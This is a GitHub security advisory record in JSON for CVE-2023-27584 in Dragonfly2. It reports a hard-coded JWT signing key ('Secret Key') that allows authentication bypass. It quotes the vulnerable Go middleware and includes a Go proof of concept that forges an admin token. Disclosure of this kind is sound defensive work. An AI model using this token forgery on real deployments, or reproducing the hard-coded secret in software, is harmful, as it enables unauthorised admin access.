{"id":"GHSA-hpc8-7wpm-889w","summary":"Dragonfly2 has hard coded cyptographic key","details":"### Summary\nHello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. \n\n### Details\nDragonfly uses  [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, \"Secret Key\", is hard coded, which leads to authentication bypass\n```go\nauthMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{\n\t\tRealm:       \"Dragonfly\",\n\t\tKey:         []byte(\"Secret Key\"),\n\t\tTimeout:     2 * 24 * time.Hour,\n\t\tMaxRefresh:  2 * 24 * time.Hour,\n\t\tIdentityKey: identityKey,\n\n\t\tIdentityHandler: func(c *gin.Context) any {\n\t\t\tclaims := jwt.ExtractClaims(c)\n\n\t\t\tid, ok := claims[identityKey]\n\t\t\tif !ok {\n\t\t\t\tc.JSON(http.StatusUnauthorized, gin.H{\n\t\t\t\t\t\"message\": \"Unavailable token: require user id\",\n\t\t\t\t})\n\t\t\t\tc.Abort()\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tc.Set(\"id\", id)\n\t\t\treturn id\n\t\t})\n```\n\n### PoC\nUse code below to generate a jwt token\n```go\npackage main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/golang-jwt/jwt/v4\"\n)\n\nfunc (stc *DragonflyTokenClaims) Valid() error {\n\t// Verify expiry.\n\tif stc.ExpiresAt \u003c= time.Now().UTC().Unix() {\n\t\tvErr := new(jwt.ValidationError)\n\t\tvErr.Inner = errors.New(\"Token is expired\")\n\t\tvErr.Errors |= jwt.ValidationErrorExpired\n\t\treturn vErr\n\t}\n\treturn nil\n}\n\ntype DragonflyTokenClaims struct {\n\tId        int32 `json:\"id,omitempty\"`\n\tExpiresAt int64 `json:\"exp,omitempty\"`\n\tIssue     int64 `json:\"orig_iat,omitempty\"`\n}\n\nfunc main() {\n\tsigningKey := \"Secret Key\"\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{\n\t\tExpiresAt: time.Now().Add(time.Hour).Unix(),\n\t\tId:        1,\n\t\tIssue:     time.Now().Unix(),\n\t})\n\tsignedToken, _ := token.SignedString([]byte(signingKey))\n\tfmt.Println(signedToken)\n}\n```\nAnd send request with JWT above , you can still get data without restriction.\n\u003cimg width=\"1241\" alt=\"image\" src=\"https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png\"\u003e\n\n\n### Impact\nAn attacker can perform any action as a user with admin privileges.","aliases":["CVE-2023-27584","GO-2024-3136"],"modified":"2025-04-23T14:51:32Z","published":"2024-09-19T14:47:36Z","database_specific":{"nvd_published_at":"2024-09-19T23:15:11Z","cwe_ids":["CWE-321","CWE-798"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2024-09-19T14:47:36Z"},"references":[{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-hpc8-7wpm-889w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-27584"},{"type":"WEB","url":"https://github.com/dragonflyoss/Dragonfly2/commit/e9da69dc4048bf2a18a671be94616d85e3429433"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/commit/684469a31bd27d38c715c507bca9f6d2c21f9007"},{"type":"PACKAGE","url":"https://github.com/dragonflyoss/Dragonfly2"},{"type":"WEB","url":"https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9"}],"affected":[{"package":{"name":"d7y.io/dragonfly/v2","ecosystem":"Go","purl":"pkg:golang/d7y.io/dragonfly/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0-alpha.0"},{"fixed":"2.1.0-beta.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-hpc8-7wpm-889w/GHSA-hpc8-7wpm-889w.json"}},{"package":{"name":"d7y.io/dragonfly/v2","ecosystem":"Go","purl":"pkg:golang/d7y.io/dragonfly/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.9-rc.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-hpc8-7wpm-889w/GHSA-hpc8-7wpm-889w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}